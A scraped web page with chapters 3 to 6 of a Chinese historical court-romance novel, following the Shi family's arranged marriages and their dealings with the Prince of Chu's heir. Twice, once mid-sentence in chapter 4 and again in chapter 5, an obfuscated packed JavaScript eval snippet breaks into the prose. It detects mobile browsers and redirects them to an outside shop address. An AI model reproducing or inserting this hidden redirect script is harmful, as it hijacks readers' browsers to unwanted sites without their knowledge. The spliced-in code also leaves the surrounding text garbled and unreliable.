“我的人可以趁乱将你带出宫,但不能将你带出京。”对面的人转了转酒盅,道。 “慕州到京城方圆几百公里,没有什么消息是楚王府不知道的。”师冉月冷笑。 端木玄眸子里翻涌着的东西,直白里掺着假,叫人看不真切。师冉月只觉得棘手。也许这种时候师吟月能在旁边就好了——她们能发现自己不在吗——或者,“如果你想得到更多,找我也并没有什么用,你该找的人现在在接亲和宴请宾客。” 师晟、师穆、师霖、师骁。 端木玄不以为然:“我即使找他们,交易的内容也会有你。” 师冉月挑眉,没有想过端木玄会说的如此直白。除了当今太子端木昀,谁娶到师冉月都是说不清的好处,只不过比起常人所理解的金钱与岳夫舅兄的权势人脉,像端木玄,自然晓得更吸引人的绝非仅此。 “何况——”端木玄话锋一转,“他们应该不如你更清楚吧?” 师冉月默默叹了口气,道:“如果你能做到,我可以奉陪。” 毕竟说实在的,按习俗女子十岁上下就可以开始议亲了,京中权贵为了家族权势打算,甚至要更早开始斟酌。而之所以这么些年没有人向师冉月提亲,说到底还是因为她幼时那个“师氏出贵女”、“皇后之命”之类的说法,众人担心皇族忌惮,因此竟叫她无人敢娶。 转而她又挑眉道:“不过如今看来奉陪对我可没有什么好处。” “马上你就可以知道了。”端木玄似乎已经达到了目的,眉间神色松弛了些许,“明日今上会下诏,王瓷为陇西郡王妃,荆栖为闽中郡王妃,宋滢为闽中郡王侧妃——”他顿了顿,笑得有些轻佻:“安王妹平承郡主端木婉,赐婚阳曲侯二子师穆。” 师家众人接旨时,端木萌正随师霖在留容轩给师道旷和唐烨奉茶。 这是她第一次作为师家的三儿媳接旨,跪在她前面的是赵老夫人、师道旷、唐烨、岳诗韫、崔姨娘、师晟与萧晨,还有师穆,而身后还有师骁、师吟月和师冉月,而身旁是师霖......端木萌想得聚精会神,有种仿若作为宫中唯一未出嫁的嫡公主的日子已经隔世得感慨油然而生,于是完全不理解似乎来宣旨的太监已经念完旨意后,为何师霖似乎是安慰一般地暗中捏了捏她的手,直到她恍惚着跟着众人起身,看见捧着明黄诏书的人是师穆。 唐烨命人奉茶,并着人去拿赏钱,师道旷与师晟等又亲自将来宣旨的一队人马送出府门才回来,只是整个留容轩又陷入一种诡异的安静。 师霖不知在琢磨什么,于是端木萌只好看向吟月和冉月,却发现吟月也在忧心忡忡,而冉月却似乎了如指掌一般淡定,轻声道:“没什么,就是今上给二哥赐婚了。是平承郡主。” 端木萌一惊,然而赵老夫人与师道旷等都未发话,她也不好先说什么。 没有必要,或者说不应该,让一个刚尚了公主的人家再娶一个郡主。 师道旷坐在主位,捧起了刚刚才喝了的新妇茶,又放下,眉间一直未曾舒展。终是赵老夫人一脸淡然道:“选在今日,就是笃定你与子成皆未去上朝。继宗,已到了这一步,你便撤不下来了,不必犹豫,该做什么就做什么。”唐烨闻言,面上漏出几十年精心打造的瓷器突然皲裂一般的破绽,却又很快修复好,捧起茶盏又饮了一口,又褪下腕上的一个镯子递给端木萌,拉着她的手微笑道:“子持自幼好玩,顽劣惯了,日后你只管管教他,我必不多言。”萧晨立刻接话道:“是了,公主与三弟昨日刚成亲,母亲且留他们二人与兄弟姊妹玩去罢。” 师霖、师骁、吟月、冉月应声,随即便行礼退了出去。端木萌未曾回头看仍留在原地的几人神色,踏出院门,遥见天色阴沉欲雨。 司天监选的昨日,还真是初夏罕见的好天呢。 4. 第 4 章 因着端木萌到底只与年龄相仿的师霖、师骁还有吟月冉月相熟的缘故,虽说早在宫里,岳皇后与宫中的嬷嬷早已向她讲述过师家概况,但几人到了留润轩,免不了又向端木萌介绍了一番细枝末节的事。 师家长子师晟,字子成,如今年已三十。长媳萧晨,年二十四,过门七年至去年末才刚怀有身孕。二子师穆字子恕。子持是师霖的字,子锋是师骁的字,吟月字容琇,冉月字容琯,这便是端木萌原本就知晓的了。国朝男女入学则由先生或父母取字,贫苦人家不曾入学的则订婚时取字。因此早在当年在太学厮混时,几人互相间便常以字戏称,不过大多时候几人还是会尊称端木萌“公主”,只偶尔冉月会叫她的字“云姝”。 该知晓的都知晓完了,几人未免又回到师穆的婚事上来。 师穆是师家近几代来少有的专攻习武之人,也是师骁习武的领路者。师家男子或多或少都学习骑射,师晟、师霖在寻常人中骑射也能拔得头筹,只是像师穆这般考武举走武职的却是绝无仅有的。当年师道旷或多或少曾想阻止,终是唐烨认为合该按子女的意愿来,否则叫他余生后悔便不值当了,师道旷遂才松了口。师穆也的确颇有天赋,尤擅弄枪,马背上过了半辈子的岳义老将军也赞颂不已,大叹“后生可畏”,亲自叫侄子左骑将军岳和教导师穆,直到师穆顺利在兵部任职。 师道旷对师穆习武的放任,也就到他在兵部任职。 师骁叹:“这下子恐怕二哥便要‘以婚假’赋闲在家了。” “二哥自己的事并非要紧事。”吟月皱眉,看向师霖,师霖却一改往日张扬灵光的样子,只低头皱眉。端木萌却道:“六妹妹,你方才怎一点不惊讶?我在宫中都未听说过此事。” 师冉月淡淡笑了笑,却只道:“我只是觉得三哥都成亲了,二哥若不是赐婚,反倒叫人非议了。”师霖看了她一眼,转过视线。 师吟月未曾发觉异样,只仍忧心忡忡,看得端木萌无端心烦,于是叫人将准备好的给小叔小姑的见面礼拿上来,给众人分了,师霖也松了神色,令人拿上冰好的西瓜和葡萄,师冉月也赶紧打起马虎眼,闹起来要叫人做冰酪吃。终引得师吟月笑骂:“别以为如今大嫂身子重了就没有人管你。你那肠胃怎么能受得了冰酪,吃块冰西瓜就算饶过你了。” 晚间,集德堂。 闻得敲门声,师道旷以为是师晟或师穆,只如常道了声“进”,却一抬头讶然见进来的是师吟月。对这个自小乖巧柔顺的女儿,师道旷一向都很温和,微笑道:“怎么来爹爹这儿了?” “我想嫁给李泊,爹爹。” “你白日里怎么回事?” 师冉月在留华轩东的普阳堂里逗着一对小珍珠鸟,似乎自动忽略了站在旁边的师霖。师霖也只继续问道:“二哥的婚事你是不是早就知情?” 师冉月放下手中拿的一支草叶,看向师霖:“我也以为你们会知情。”她走到普阳堂后的一丛相思子旁,轻声道:“事已至此,如何打算?” “准备婚事。一切照旧。”师霖似乎又恢复了轻佻的样子,一副玩笑般的口气道,“礼部和司天监那边给的消息,大概会把婚期定在十月。下个月大哥兴许会去趟息州安王府。” 他顿了顿,又道:“你应该不会嫁到东宫去了。” 师冉月笑笑,“嫁与不嫁,难道是我们能说定的么。” 等端木萌过来将师霖带走,师冉月才慢悠悠踱回房去,眉眼间尽是疲色,看的水杏一定要逼她喝完一碗养神茶。冉月满是歉意道:“委屈你了,水杏。这阵子家里事多,原本我打算这几日就向母亲提你的婚事,结果如今二哥的事一出来,恐怕就顾不上你了。” 水杏笑道:“奴婢又不着急。”水杏不是家生子,只有一个姑母在师家庄子里做工,家又是逢州的,早二年她母亲便托人写信来请求恩典放她回去婚嫁。何况作为师家二姑娘身边的大丫鬟,出嫁总是该比小户人家嫁女还隆重几分的,随便了之叫人知道了也不大好看。 不过看这些日子水杏的样子,总不像是不着急。师冉月想了想,便道:“或者我明日一早便写信让成伯送去逢州,叫岳伯直接将你的放籍文书办了,你直接回逢州也可。逢州那边如今没什么要紧事,总不过十来日就该能办好。” 水杏闻言大喜,忙行礼谢过。师冉月却越发觉得困倦,只哄笑着叫她来日有机会领夫婿来见见,便吹灯歇下了。 次日晨起,师冉月安排完水杏的事,便要去岁苍斋。路上却见师吟月自留容轩出来,似是哭过。师吟月哭时一向不喜欢见人,于是师冉月便也躲开,只待过会子她自己好了再去问,便仍先去找赵老夫人。 “祖母安好。”师冉月甜笑道。 赵霞云却仿佛没听见般,仍跪坐在佛像前闭目念经,手中的念珠有节奏地拨动着,细微的碰撞声清脆悦耳,似乎也带着淡淡的檀香。 师冉月也早就习惯,自己去岁苍斋北的露台上寻了个蒲团靠坐着。这露台东就是小夜池的那一片芦苇,如今正值盛夏,水波微荡,清澈见底,能看见他们幼时投放的鱼苗长成的红鲤鱼在浮萍与芦苇根系中间穿行。音儿到岁苍斋的小厨房给她拿来个青团,她便一边吃着一边拿一旁木匣子里的鱼食喂着鱼。露台上的芭蕉刚好挡住了早上的阳光,实在是惬意得很。 大概过了一个多时辰,师冉月已经快要睡着,赵霞云才念完一遍经,慢慢踱步过来,用蒲扇柄敲了敲师冉月的头。 师冉月睁开眼,有些惺忪地问:“祖母今日喝药了吗?” “苦得很。喝了也没什么用。”每每提到喝药,赵霞云就十分抗拒,简直是小孩子心性。她有心疾,却不常发作,因此平日里也不甚在意。 “那怎么行。何况这次的药不过是以补为主,也不怎么苦。”说话间,岁苍斋的齐娘已把药端了过来。齐娘本是老太太陪嫁丫鬟的女儿,也是师冉月的乳母,师冉月大了后行为跳脱,不喜管束,便又回了岁苍斋继续照顾老太太了。 赵霞云皱着眉喝了药,师冉月又赶紧添上一块蜜梨糖,笑道:“这便好了。从前齐娘在我身边成日来向祖母告状,如今反倒是要向我告祖母又不肯喝药的状了。”赵霞云轻瞪了眼齐娘,齐娘却也笑道:“咱们姑娘挂记您,奴婢也才好求姑娘劝您喝药啊。” 师冉月也又道:“上次太医也说了,您这病马虎不得,虽平日里不发作便似乎没什么事,可谁也不知道什么时候会发作啊,您还是老老实实把药按时喝了罢。” 赵霞云靠在太妃椅上笑笑:“也就是我老了,容得你这泼猴子拿捏。” “我怎么就成泼猴子了,若让姐姐知道您又不肯好好喝药,她连蜜梨糖都不肯给你。” “小五为婚事烦心呢,如今顾不得旁的事了,还是年轻。”赵霞云轻摇着蒲扇,“她如今要嫁给李泊,你父亲已是同意了的。你母亲与你二娘那边可不好说通。” “李泊?”师冉月震惊的一下子坐直了,“屏南侯李既的弟弟?” 赵霞云斜睨了她一眼:“怎么,你姐姐还未和你说?” “哪里会说过。昨日二哥的赐婚旨意一下来,我们也只就说了二哥的事情。前些日子端午宫宴我还问过她是否还念着李既,她似是已经看开了,可无论看开不看开,她怎么会要嫁给李泊呢?不行,我要去问她——” “小六。”赵霞云话音很轻,却一向自带威严。师冉月坐回蒲团上,有些茫然地听赵霞云讲:“远在岭南,身无爵位,兄长是屏南侯,嫂子是新宁公主,多合适的人选啊。你母亲和二娘也明白这个理,只是大概不想她远嫁罢了。” 说这话时,她的眼神慢慢变的渺远。布满皱纹的皮肤并不能掩盖她的容貌,精致的骨相和自然衰老的皮相带来的是日益增长的气质。从二十来年前儿子不得不娶岳诗韫为平妻、违背了和唐烨一生一世的诺言起,她就明白子孙的婚姻她已经无法干涉,仿佛她当年毅然决然嫁给当时遭人排挤的师虑的勇气和幸运盗走了后代的选择权。起初她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226119|197566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还试着改变,早早和唐烨商议,替长孙定下了他心仪的应郡萧氏的女儿,即使这些年未有所出,无数人想塞妾室进来,也坚决地站在他们的身后,可朝中隐隐带来的压力使得她不得不开始放弃。所幸师霖与端木萌青梅竹马互生情愫,可到了师吟月,从她无法嫁给李既开始,赵霞云就深感无能为力。 如今看着孙女与自己当年一般的主动和勇气,却不是为了嫁给爱的那个人,她却不知道这是幸运还是不幸。 师冉月却也安静下来。她一直知道师吟月这两年殚心竭虑为的是什么——她的婚姻不能在明面上助长师家的势力,也不能太过下嫁给身份地位不想匹配的人叫人起疑心。远嫁出京似乎已经是一种必然。然而如果可以,唐烨和岳诗韫肯定希望她嫁到富庶之地知根知底的人家,比如她们先前属意的景氏、唐氏。 而嫁到岭南,到屏南侯府,嫁给李泊,是否是师吟月反复思量后带有几分私心的选择,师冉月不得而知,也不想去问。但如果的确有,她更愿意支持她。 比起六月突如其来的大雨,更让人看不清的是红线的那一端。 七月初三,是端木玄与林绵成婚的日子。 按理说只是迎侧夫人入府,本没有必要大肆操办,但楚王一家入京,在今上眼前总是要故意奢靡,又兼林绵毕竟是故人之女,如今又从颍川侯府出嫁,因此婚宴的规模也不亚于娶正妻进门了。 师吟月陪着林绵坐在闺房,等吉时出门上轿。端木玄自然是不会来迎亲的,便只是林绵自己坐花轿到如今楚王等暂居的藩王府。 林绵的长相随她的父亲,很有英姿,甚至穿上男装都像略显秀气的少年将军,不甚违和。然而自其父去世后,她习惯了温顺沉默地过日子,虽说岳府不曾亏待她,然而她总是先学会了亏欠和愧疚。人道是相由心生,长年累月,眉眼竟也变得柔顺温和,像极了她那温吞寡言的嫡母岳道茂。 师吟月晓得林绵根本不爱端木玄,嫁为侧室也不觉得有什么大不了,甚至看着她,她总觉得自己似乎也可以去给李既作妾 ——“别以为我不知道你在想什么,”林绵递给吟月胭脂,叫她补补方才喝茶弄掉的唇妆,“你既然已经和李泊订婚了,也别辜负了他,他总是无辜的。” 师吟月叹了口气,笑道:“婚姻中人,谁不无辜。”她看着林绵身上玫红色的嫁衣,道:“其实你本可以拒绝的,看在你父亲的份上,楚王不会计较什么。” “但是我大概就不能回慕州了啊。”林绵无所谓地笑道,“只是这样我就可以离开岳家。虽然我吃住都没有用岳家的钱,到底长辈们待我好,我便会心生亏欠。与其在亏欠里不断消耗自己,不如就此离开,离得远远的,我就可以不再想这些事了。” “也罢,也罢。”师吟月叹道。 师冉月跑进来笑道:“我看见楚王那边的人了,绵姐姐,该准备出门了。”跟着众人把林绵簇拥上花轿,看着送亲的队伍渐渐走远,师冉月脸上的笑意渐渐退却。楚王府来的人里头领头的那个女子就是那日把自己带出皇宫到酒楼见端木玄的人。 如果她没记错的话,承祐二年的时候她也在。 喜乐还在耳边环绕,热气逼人的盛夏里,师冉月的后背上涌起密密麻麻的凉意。她无措地抓了抓身旁师吟月的手,却又在师吟月转头带着询问的目光看过来时松开,动了动嘴角微笑道:“没事,就是感觉身边的人一个个都出嫁了,有点害怕。” 没有理由的勉强微笑只会引来探究和怀疑,不如编个合情合理的理由。 师吟月如今轻松多了。唐烨和岳诗韫前两日已经松口,家里已经派人去屏南侯府,过两日师骁也会代表父母长辈亲自过去一趟。她轻笑道:“早晚的事。嫁出去又不是见不到了。” 师冉月拍了拍她的手,“慕州还好呢,你却直接把自己嫁到了岭南卿州。” “那又怎么样。当年新宁公主也是从京城到卿州。过程再艰难都不重要,结果是好的就足够了。” 5. 第 5 章 七月二十日,师家长媳萧晨生下了师家长孙。 这也算是一件足以惊动全京的大事。平民百姓乐得嗑着瓜子听说书的再讲一遍师晟萧晨伉俪情深一生一世一双人的故事,而朝中上下官员公侯也都忙忙碌碌准备着贺礼或者登门道贺。 上到太子贵嫔和缨亲自到阳曲侯府代表东宫赐礼,以及陇西郡王、闽中郡王还有还没离开京城的楚王一家亲自道贺,下到师道旷与师晟师穆的同僚门生纷纷而至,不在京的也早都算好了日子将贺礼送到。师家上下热闹非常,连着几日门槛子都要踏破了。比起端木萌下降时按着皇室礼仪一切井然有序的热闹,如今这种“自发性”的热闹显然更引人注目。师冉月本想着呆在师晟萧晨所住的留辰轩帮忙,免得大嫂刚生产完被人吵到,然而去了才发现自己压根插不上手,而大嫂却靠在榻上笑容得体的与各家来祝贺的夫人寒暄,连赵老夫人都提起兴致与几个相熟的老姐妹品茶聊天,于是师冉月果断离开家里,跑到师家为庆贺长孙降生在城门口摆的粥棚去帮忙了。 “想不到二姑娘如此‘善心’,居然亲自来施粥,是为你那刚出生的侄儿祈福,还是为你师家赎罪?” “怎么,不行么?” “我只是没想到二姑娘看起来冷心冷肺,竟会喜欢做这样的事罢了。”说着竟也从旁边拿起一个空碗递了过来。 师冉月看着眼前伸过来的碗,心中暗恼此人竟不顾她与他的身份,如此光明正大地到这里来寻她。纵然她戴着帷帽,可这里是师家的粥棚,但凡有心的都能晓得她的身份。若叫人传出话去编排她私会外男——她自己并不觉得这有什么大不妥,只是讨厌麻烦罢了——那么这个麻烦的祸根便很值得“千刀万剐”了。 他大概也不会觉得这样不妥,又或者他知道这般不妥,却不愿多为她考虑几分,甚至或许存了几分故意的心思——他是只会考虑自己想得到的。 心里这般想着,她却还是微笑着将粥勺交给音儿,自己将端木玄引到一旁的长凳上倒了碗茶。好在二人都一身素服,也没有很突兀。 端木玄端起茶碗闻了闻,笑道:“掺了蜜的茉莉茶,想不到二姑娘如此喜甜。”他低头喝了一口茶,显然不太喜欢这股甜味,眼角都跟着有些抽动,却还是放下茶碗,唇角扬起好看又爽朗的笑:“二姑娘大可不必着急送客,私认为上次相叙后,你我如今也该算是一半的合作关系。如你所见,你二哥与平承郡主的婚事我已经说对了,你也该知道这意味着什么。” 师家爵位官位已堪称朝中第一,三公中太师和太保都空缺,丞相宋集是今上自东宫起的亲信,沈太尉已年老,兵权一半在后族手里。此时师家不仅有一位嫡公主,又将娶一位外封藩王的王妹。物极必反,树大招风。 师冉月低头,啜饮着喝完了一碗茶,又低头理平了粗茶色布裙上的褶皱,抬眼道:“世子如今的身份和平承郡主没有什么区别,对于师家来说自然也没有什么不同。”她凝视着端木玄的眼睛,“何况一棵树从根系起栽培了这么久,轻易不会被连根拔起。” “我自然与平承郡主不同。安王并不能给师家添砖加瓦,而我不一样——二姑娘应该已经体会过一次了。”端木玄湛青色的瞳孔里带着些嘲弄的笑意,“再者,你只是从常理上觉得树不会被连根拔起,没有想过有时候事情不会按常理。” “他无法善后。”师冉月很平静。 端木玄仍是带着笑,“坐在那上头,他想怎么善后,就怎么善后。” 帝王看似要平衡朝廷,兴许某些君王还要努力依附某些势力维持自己的地位,然而说到底,只要底层的架构没有散,统治者的利益仍然保持一致,那么皇权永远至上。朝廷各派各人的权力、地方望族的影响,的确会有让君王忌惮之处,但说到底也不过是皇权的附属品,来自帝王的赐予。 师冉月不愿再和端木玄绕弯子:“你若想得到你想要的,必然要让我们看到你的诚意。何况既然这些都暂时无需建立在我们的婚姻基础上,那么世子大可不必每次都来找我。毕竟从世人眼中看,我能给你的只有婚姻。” “我有一定要找你的理由,师容琯。” 师冉月骤然提起一口气,紧盯着端木玄,却见他仍是一副翩翩公子的样子,嘴角笑意丝毫没有变化,甚至看到她的反应,连眼角眉梢都带上了几分真心实意的笑意。的确是很像上任楚王妃辛氏,师冉月想。却还没等师冉月平复下这口气来,两人耳边就传来一句呼唤:“世子。” 二人转头,却见是林绵从楚王府的马车上下来,见到他们,快走了两步,温柔笑道:“世子原来在这。六妹妹怎么也亲自到粥棚来了,五妹妹方才还与我念叨你,怕你中暑。我恰好命人做了酸梅汤带来,六妹妹也喝一碗吧?” 师冉月掩去方才的情绪,也笑道:“不用了绵姐姐,正巧世子也要走了,你们便一同回去罢。”她眸光扫过不远处林绵马车旁立着的一身青衣的烟水,仍面不改色接着道:“我这有的是茉莉蜜茶,就不用酸梅汤了。” 林绵很自然地挽上端木玄的手臂,与师冉月道了别,边一同向马车走去。临上马车,林绵不禁回头看了眼师冉月,那姑娘仍似是师吟月所说的没心没肺似的,已经又去她那丫鬟音儿那接过粥勺,招呼着流民施起粥来。林绵的眼中闪过一瞬莫名的情绪,迅速登上马车落下了车帘。 烟水仍是雕像一般,脸上没有一丝表情,吩咐马车夫回藩王府。 听着马车声远去,师冉月方才抬起头,看着留在地上的浅浅的车辙印,没一会儿就被来往行人的脚印和别的车马的印迹掩盖。音儿轻声问:“姑娘,真的不用与侯爷或者公子们说吗?” 师冉月沉默了一会儿,道:“你去叫人回府,叫三哥来接我。” 第五日黄昏后宾客渐散,直到送走了最后的来客,师道旷与唐烨脸上的笑才慢慢消退。师吟月扶着唐烨准备回去休息,师道旷却叫住她:“去把人都叫到望潮阁。你大嫂就不要劳累了,叫奶娘将孩子抱过来。” 吟月应声,快步离开。唐烨给身旁的内宅总管事惠嫂递了个眼色,见人依次吩咐下去重新在望潮阁开一桌家宴,才松了口气,在一旁的椅子上坐下来休息。师道旷拍了拍她的肩,道:“辛苦夫人了。”唐烨扯唇微笑道:“哪有什么辛苦不辛苦。我们一家子人,在做的事目的都是相同的,便没有谁辛苦。” 最先到的是师穆、师骁、师霖和端木萌,随后师晟也与抱着孩子的奶娘一同前来,然后是岳夫人和崔姨娘凑在一块到了,最末则是吟月扶着赵老夫人登上了望潮阁。唐烨奇道:“小六呢?这孩子这些天不见个人影,这个时辰总该从粥棚那边回来了罢?”又状似无奈,笑道:“这孩子原也不是那能体恤百姓疾苦之人,不过喜欢做个样子,竟还认真起来。” 师霖忙道:“是官大姑娘午后去找小六玩了,小六递话说晚些回来。”师晟道:“我着人去接她。”却听一声高喊:“不必啦,我回来了!”然后便是噔噔噔一阵上楼的声音。只见师冉月仍着那一身粗茶色的布裙,头上一朵粉绿色的栀子珠花一闪一闪,额头上一层汗也亮晶晶的,鬓发都被汗湿了,略有些凌乱地粘在额头和脸颊上,音儿提着她那小茶壶在后面追她,也是有点狼狈。师霖笑道:“哟,这是谁家的野丫头疯到这来了。”冉月瞪他一眼,接过吟月给她递过来的茶一饮而尽,又借着端木萌拿来的帕子随意擦了擦汗,向师道旷和唐烨笑道:“我就晓得今晚必有好吃的,和言约我去吃护国寺新出的素丸子我都没去。” 师晟和师穆都无奈笑了,师骁倒是皱眉道:“别去别去,我前日已经去尝了,难吃得很。”师霖也赞同:“那丸子胡椒味特别重,入口都发麻。” 唐烨叹道:“你们两兄弟,成日里也别笑话小六了。” 师道旷却罕见大笑:“爱玩好啊,玩出个名堂来,总比困在朝堂上战战兢兢强啊。”唐烨担忧地抚上他的手臂,赵老夫人却也笑道:“公主从前也是喜欢玩的,怎么嫁到家里来这阵日子倒消沉了?”端木萌笑道:“老太太别打趣我了。我这些日子随大嫂子学着看账呢,总不能叫母亲和大嫂子一直劳累操心。”岳诗韫喝了口专门供她喝的酸茶,道:“菜都上了,怎么一帮人光顾说话了。”其余人便也哄笑着,等老太太先动了第一筷,便也纷纷开始吃了起来。 吃过了饭,师道旷便叫人让奶娘把孩子抱过来。方才众人吃着,这孩子也随奶娘在甫雨居饱餐了一顿,如今吃饱喝足睡得正香,一折腾倒醒了,却也不闹,被唐烨抱在怀里,看着这么多人也只乐。 岳诗韫笑:“这孩子脾气倒好。” 赵老夫人拿玉珏逗引着他,笑了一会子,也叹道:“想不到我也有四代同堂的这一日。”师晟欠身道:“孙儿不孝。”赵老夫人摆了摆手:“这是天命,事在人为的事,不是我们能决定的。” 师道旷看着孩子沉思良久,终道:“这孩子就叫‘焕’罢,鲜明光亮,英姿焕发。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226120|197566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 师晟行礼道:“儿子替焕儿谢父亲赐名。” 十月末,师穆与承平郡主端木婉成亲,浩浩荡荡的送亲队伍十月中旬便从已经飞雪的息州安王府出发,直到京城。冬月末,李泊又带着迎亲队伍自卿州来京,师骁也亲自跟着把妹妹吟月送到屏南侯府完婚,直折腾到腊月二十二才终于赶回京城,幸好还赶得上小年。 一整年忙忙碌碌的师家又继续忙碌着准备迎接承祐十一年。后半年萧晨坐着月子,且她本身就体弱,月子里又被闹了一番,如今几个月过去也没太养好,可巧本来跟着学管家的端木萌才刚出师,也被查出来有孕,如今正是头几个月,不说经不经折腾,只一闻到荤腥便孕吐不止。于是唐烨开始紧急教导二儿媳端木婉管家,顺带拎着师冉月帮忙。赶上年节,实在忙不过来时,岳诗韫便也出场替唐烨应酬起来。她本来自小就是同姐姐岳诗君一起被母亲殷夫人按正室的标准教导的,自然也不会比她的皇后姐姐差到哪去。 师冉月却着实累得够呛。她本来原先瞧着唐烨、萧晨管家游刃有余,甚至有些英姿飒爽,简直像内宅里的女将军,还很崇拜,而唐烨原先教导她也只是口头上的,未曾叫她实操过,直到自己接手了,甚至仅仅是帮母亲和二嫂打下手,她才知道什么叫忙得“团团转”。 端木萌偶尔不乏的时候也来教她看看账本,抱着个梨完全恢复她从前在宫里随意的形象地啃——这是她现在为数不多吃到腹中不会恶心的食物,嘲笑她:“之前怎么没觉得你这么笨,这么简单的数,都不用你打算盘,都算不明白?”师冉月完全头昏脑涨,只教端木萌的侍女行湘赶紧把她家少夫人请走。 “我大发善心主动来帮你你还不满意上了?” “你这是帮吗?就站在一旁说风凉话罢了。”师冉月吊着毛笔头口齿不清道。 端木萌把毛笔从她嘴里抢下来,道:“非要我上手给你算才叫帮?那你什么时候能学会。你如今也及笄了,将来嫁出去,难道要回娘家随便找个嫂子去帮你管家吗?” 师冉月叹气。还是叹气。 “你说怎么女子就要学算账管家女工之类的事。” 端木萌又拿了个梨,道:“也没不让你学别的。诗词歌赋你懒得背,骑射你也不愿意精修。” 师冉月伸个懒腰,“反正内宅都用不上。” “这会子你又把自己归到内宅里去了。那外宅,男子们还不明白管家呢。什么事都有什么事的学问,是你自己把你自己限制住了。我起初也觉得这起子事麻烦无聊,不过熟练之后,倒也觉着有些趣味了。” 端木婉这厢笑着端了盘酿梅来。她虽生在北国封地,但样貌性子都肖似她生在南方的母亲,远山眉、柳叶眼,还有秀气的鼻梁和一直水润的唇,嗓音也柔柔的,好似江南文人诗歌中的女子。师冉月无比喜欢听她讲话——除了教她算账的时候。 端木婉笑道:“给各府送的年节里已经备好了,母亲叫你去和惠嫂看着装车,然后去盯着厨房的采买。账本就先给我吧。” 端木萌问道:“给宫中的节礼也备好了吗?还有初一宫宴的衣裳。” “节礼备好了。合家是一份,你的是单独一份切莫忘了。衣裳惠嫂说明日便都能送来。” 端木萌已吃完了那个梨,又塞了一个酿梅进嘴,叹道:“给宫中的一直都是最麻烦的,往日我在宫里看着收礼都烦的不行,今年你初来乍到,真是麻烦你了。” 端木婉笑笑:“哪里的事。你我一直是一家,何必如此生分。”不过从堂姐妹变成妯娌罢了。 师冉月在一旁很是认同端木萌的话。因着往宫中送的礼精细非常,往年她也喜欢旁观,给帝后的是一份,施贵妃的母家户部尚书施氏与师氏私交甚笃,又是闽中郡王生母,每年也是一份重礼。而陇西郡王生母莫淑妃虽然母家平庸,但毕竟也是皇子生母,明面上自然不能太作分别。唐贤妃所出的二皇子早夭,但她是唐烨的同族堂妹,里子是不能亏的。四妃以下不管。而东宫给太子的礼是一份,给和贵嫔的自须按贵嫔的面子太子妃的里子来安排。至于陇西郡王和闽中郡王今年分别成家,自然又是往郡王府分别单送。而闽中郡王妃荆栖是端木婉的嫂子安王妃的堂妹,有了这层关系,今年起也免不了多些往来。 不过暂时逃离了账本的师冉月选择及时行乐。惠嫂是音儿的母亲、师道旷乳母的女儿,作为内宅总管事多年,对这些事早就轻车熟路。想必母亲教她去帮忙完全是让她放松一会子的。 6. 第 6 章 虽然忙碌但团圆在一起过年的师家人未曾想到,开年第一件事,是师晟外放沉州。 沉州离逢州很近,地处江南,虽不如逢州富饶,但也是个好地方。不过以师晟的资历,外放本应该最多做个通判,完全不至于直接任为沉州太守。 不管别的,唐烨和萧晨已经张罗着先给师晟收拾行李。师冉月帮着忙了一会儿,见差不太多,便自己回留华轩歇息去了。自年前转过来这一两个月师家上下实在是忙碌,而师冉月起初是被唐烨强押着学习管家看账,到后来她从前对萧晨她们管家时的样子的崇拜又回来了,自己也想争一口气把事情都做好了。虽说的确颇有进步,可也实在累人得很。 音儿叫小厨房给她下了碗香菇鸡脯面来,师冉月便一边吃面一边拉着音儿抱怨:“从前这些事我好歹还能与姐姐说说,如今她出嫁了,我连个商量的人都没有。” 音儿道:“想来姑娘找三少夫人商量也是一样的。” 师冉月叹气:“她害喜严重,这都快五个月了,仍总是犯恶心,我也不敢去劳累她。和言性子直,不懂些弯弯绕绕,不然我与她说也是好的。” “只是姑娘,这次大公子的事会不会和先前楚王世子与您说的有关?” 师冉月冷了神色,想起端木玄与她说的“要变天了”,心里理了理这半年来的事。尚公主、娶郡主、迎长孙,师晟又看起来荣升,师家越发烈火烹油。 “你去着人问问三哥,楚王一家何时离京——不,算了,我自去问。” 从酒楼离开,外面已淅淅沥沥地下起了小雨。虽说春日里“一场春雨一场暖”,然而这二月末的雨却好像卷着残冬的寒气,叫人身上发冷。 “姑娘,咱们是自己出来的,奴婢也没有带披风,还是快些回去吧,免得冻感冒了。” 师冉月脑子里却仍刻着方才端木玄那句“捧得越高,摔得越惨”,对音儿的话仿若未闻。恰此时,对面茶坊里却传来一句呼唤:“师二姑娘,我家夫人请您上楼坐坐。”主仆二人抬头一看,竟是林绵身边的侍女樱桃。 师冉月抬头看见茶坊二楼半掩着的竹窗里隐约的鹅蛋青色衣衫,正是林绵素来喜欢的颜色,心微微下沉,带着音儿跟随樱桃上了楼。 师冉月在林绵对面落座。樱桃关上了包间的门,林绵抬手放下窗户,摘下头上的帷帽,漏出一双清明的杏眼。师冉月问道:“绵姐姐不是与世子一同来的?” “自然不是。他大概也不知道我跟过来了。” “你听见了我们方才说的话?” “没有。隔着一条街巷,你们又合着窗子,又有雨声,哪里听得见什么。”林绵淡定地喝了一口茶。师冉月闻言却眯起了眼,她大概知道林绵是以什么样的立场找来她了。 “我记得从前我们一起听戏看话本子的时候,绵姐姐最讨厌惯会拈酸吃醋怀疑旁人与自己夫郎或妻子有染的人了。” 